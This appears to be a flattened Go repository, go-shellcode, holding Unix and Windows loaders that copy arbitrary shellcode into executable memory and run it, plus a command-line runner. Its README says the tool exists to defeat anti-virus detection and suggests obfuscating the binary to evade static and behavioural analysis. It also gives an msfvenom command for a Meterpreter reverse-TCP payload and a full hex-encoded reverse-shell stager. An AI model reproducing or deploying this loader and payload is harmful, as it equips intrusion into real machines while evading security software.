├── go.mod ├── .github └── FUNDING.yml ├── shellcode_unix.go ├── cmd └── sc │ └── main.go ├── shellcode_windows.go └── README.md /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/brimstone/go-shellcode 2 | 3 | go 1.13 4 | -------------------------------------------------------------------------------- /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: brimstone 4 | patreon: # Replace with a single Patreon username 5 | open_collective: # Replace with a single Open Collective username 6 | ko_fi: # Replace with a single Ko-fi username 7 | tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel 8 | community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry 9 | liberapay: # Replace with a single Liberapay username 10 | issuehunt: # Replace with a single IssueHunt username 11 | otechie: # Replace with a single Otechie username 12 | custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'] 13 | -------------------------------------------------------------------------------- /shellcode_unix.go: -------------------------------------------------------------------------------- 1 | // +build linux freebsd darwin 2 | 3 | package shellcode 4 | 5 | /* 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | void call(char *shellcode, size_t length) { 12 | if(fork()) { 13 | return; 14 | } 15 | unsigned char *ptr; 16 | ptr = (unsigned char *) mmap(0, length, \ 17 | PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); 18 | if(ptr == MAP_FAILED) { 19 | perror("mmap"); 20 | return; 21 | } 22 | memcpy(ptr, shellcode, length); 23 | ( *(void(*) ()) ptr)(); 24 | } 25 | */ 26 | import "C" 27 | import ( 28 | "unsafe" 29 | ) 30 | 31 | func Run(sc []byte) { 32 | C.call((*C.char)(unsafe.Pointer(&sc[0])), (C.size_t)(len(sc))) 33 | } 34 | -------------------------------------------------------------------------------- /cmd/sc/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/hex" 5 | "fmt" 6 | "io/ioutil" 7 | "os" 8 | 9 | shellcode "github.com/brimstone/go-shellcode" 10 | ) 11 | 12 | // This program runs the shellcode from: https://www.exploit-db.com/exploits/40245/ 13 | // 14 | // As the shellcode is 32 bit, this must also be compiled as a 32 bit go application 15 | // via "set GOARCH=386" 16 | 17 | func main() { 18 | 19 | if len(os.Args) != 2 { 20 | fmt.Printf("Must have shellcode of file\n") 21 | os.Exit(1) 22 | } 23 | 24 | // First, try to read the arg as a file 25 | sc, err := ioutil.ReadFile(os.Args[1]) 26 | if os.IsNotExist(err) { 27 | // If that fails, try to interpret the arg as hex encoded 28 | sc, err = hex.DecodeString(os.Args[1]) 29 | if err != nil { 30 | fmt.Printf("Error decoding arg 1: %s\n", err) 31 | os.Exit(1) 32 | } 33 | } 34 | 35 | shellcode.Run(sc) 36 | } 37 | -------------------------------------------------------------------------------- /shellcode_windows.go: -------------------------------------------------------------------------------- 1 | package shellcode 2 | 3 | import ( 4 | "syscall" 5 | "unsafe" 6 | ) 7 | 8 | var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect") 9 | 10 | func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool { 11 | ret, _, _ := procVirtualProtect.Call( 12 | uintptr(lpAddress), 13 | uintptr(dwSize), 14 | uintptr(flNewProtect), 15 | uintptr(lpflOldProtect)) 16 | return ret > 0 17 | } 18 | 19 | func Run(sc []byte) { 20 | // TODO need a Go safe fork 21 | // Make a function ptr 22 | f := func() {} 23 | 24 | // Change permissions on f function ptr 25 | var oldfperms uint32 26 | if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) { 27 | panic("Call to VirtualProtect failed!") 28 | } 29 | 30 | // Override function ptr 31 | **(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc)) 32 | 33 | // Change permissions on shellcode string data 34 | var oldshellcodeperms uint32 35 | if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) { 36 | panic("Call to VirtualProtect failed!") 37 | } 38 | 39 | // Call the function ptr it 40 | f() 41 | } 42 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | shellcode 2 | ========= 3 | 4 | This is a program to run shellcode as its own process, all from memory. This was 5 | written to defeat anti-virus detection. This is now getting detected as 6 | VirTool:Win32/Shrine.A. Use a tool like [garble](https://github.com/burrowers/garble) 7 | to obfuscate the binary to defeat static analysis. Change the code yourself to 8 | defeat behavior analysis. 9 | 10 | Usage 11 | ===== 12 | 13 | Keep in mind that only 64bit shellcode will run in a 64bit process. This can't 14 | autodetect your shellcode architecture. 15 | 16 | Use msfvenom or metasploit to generate a bit of shellcode as hex format: 17 | ``` 18 | $ msfvenom -p windows/meterpreter/reverse_tcp -f hex -o rev.hex LHOST=127.0.0.1 LPORT=4444 19 | ``` 20 | 21 | ``` 22 | c:\windows\temp>sc.exe fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c77260789e8ffd0b89001000029c454506829806b00ffd56a0a687f000001680200115c89e6505050504050405068ea0fdfe0ffd5976a1056576899a57461ffd585c0740aff4e0875ece8670000006a006a0456576802d9c85fffd583f8007e368b366a406800100000566a006858a453e5ffd593536a005653576802d9c85fffd583f8007d285868004000006a0050680b2f0f30ffd55768756e4d61ffd55e5eff0c240f8570ffffffe99bffffff01c329c675c1c3bbf0b5a2566a0053ffd5 23 | ``` 24 | 25 | Sometimes the shellcode is larger than the limit of a command line with 26 | arguments. Try putting the whole thing in a batch script instead. 27 | 28 | Build 29 | ===== 30 | 31 | Standard go building steps. Set GOOS to `windows` and GOARCH to the same as your 32 | shellcode, either `386` or `amd64`. This can't detect the architecture of your 33 | shellcode. 34 | 35 | The resulting binary is a little big, 2.1M, but compresses well with UPX, 36 | roughly 508K. 37 | --------------------------------------------------------------------------------